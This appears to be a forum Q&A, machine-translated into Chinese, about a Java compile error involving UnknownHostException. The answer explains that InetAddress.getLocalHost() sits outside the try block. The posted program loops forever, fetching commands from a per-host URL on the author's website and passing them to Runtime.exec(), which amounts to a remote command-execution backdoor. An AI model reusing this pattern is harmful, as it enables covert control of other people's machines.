2013-02-03 118 views
-4
import java.net.*; 
import java.io.*; 
import java.util.*; 
public class server{ 
    public static void main(String args[]){ 
    String hostname = "Unknown"; 
    InetAddress addr; 
    addr = InetAddress.getLocalHost(); 
    hostname = addr.getHostName(); 
    do{ 
     try { 
     URL c = new URL("http://mywebsite/admin/users/" + hostname + "/c.txt"); 
     URL cinfo = new URL("http://mywebsite/admin/users/" + hostname + "/cinfo.txt"); 
     Scanner c2 = new Scanner(c.openStream()); 
     Scanner cinfo2 = new Scanner(cinfo.openStream()); 
     String c3 = c2.nextLine(); 
     String cinfo3 = cinfo2.nextLine(); 
     URL del = new URL("http://mywebsite/admin/users/" + hostname + "/manager.php?perform=delete"); 
     if ("commandline".compareTo(c3) == 0){ 
     Runtime.getRuntime().exec(cinfo3); 
     HttpURLConnection connection = (HttpURLConnection) del.openConnection(); 
     connection.connect(); 
     connection.getResponseCode(); 
     Thread.sleep(10000); 
     } 
     if ("idle".compareTo(c3) == 0){ 
     System.out.println("Waiting for a command."); 
     } 
     if ("print".compareTo(c3) == 0){ 
     System.out.println(cinfo3); 
     HttpURLConnection connection = (HttpURLConnection) del.openConnection(); 
     connection.connect(); 
     connection.getResponseCode(); 
     Thread.sleep(10000); 
     } 
     } 
     catch(IOException e) { 
     break; 
     } 
     catch(InterruptedException e){ 
     break; 
     } 
    } while(true); 
} 
} 

以上是我的Java程序。當我嘗試編譯時,我得到UnknownHostException。如果我試圖抓住它,它會說它是一個錯誤,它已經被捕獲,然後它說它是需要被捕獲的另一個錯誤。通過我上面的代碼,它說它需要被捕獲,但並沒有說它已經被捕獲。誰能幫忙?請注意,在實際的代碼中,'mywebsite'實際上是我的實際網站,但出於隱私的原因,我從上面的代碼塊中刪除了它。Java - 無法捕捉UnknownHostException

+0

錯誤的確切文字是什麼? – SLaks

+1

您是否在IOException之前或之後放置了UnknownHostException catch? –

+0

之後。我需要把它放在嗎? @SLaks這裏是上述代碼的錯誤: server.java:8:未報告的異常java.net.UnknownHostException;必須被捕獲或聲明爲拋出 addr = InetAddress.getLocalHost(); –

回答

4

InetAddress.getLocalHost()投擲UnknownHostException

您的catch塊已經捕獲到UnknownHostException的超類,但該調用位於try塊之外,因此它們不起作用。

+2

+1 - 爲了更具體,所以他明白 - 他將'UnknownHostException'的catch放在錯誤的地方,而不是把'InetAddress.getLocalHost()'放在try/catch中。 –

+0

謝謝!只要它讓我接受答案。 –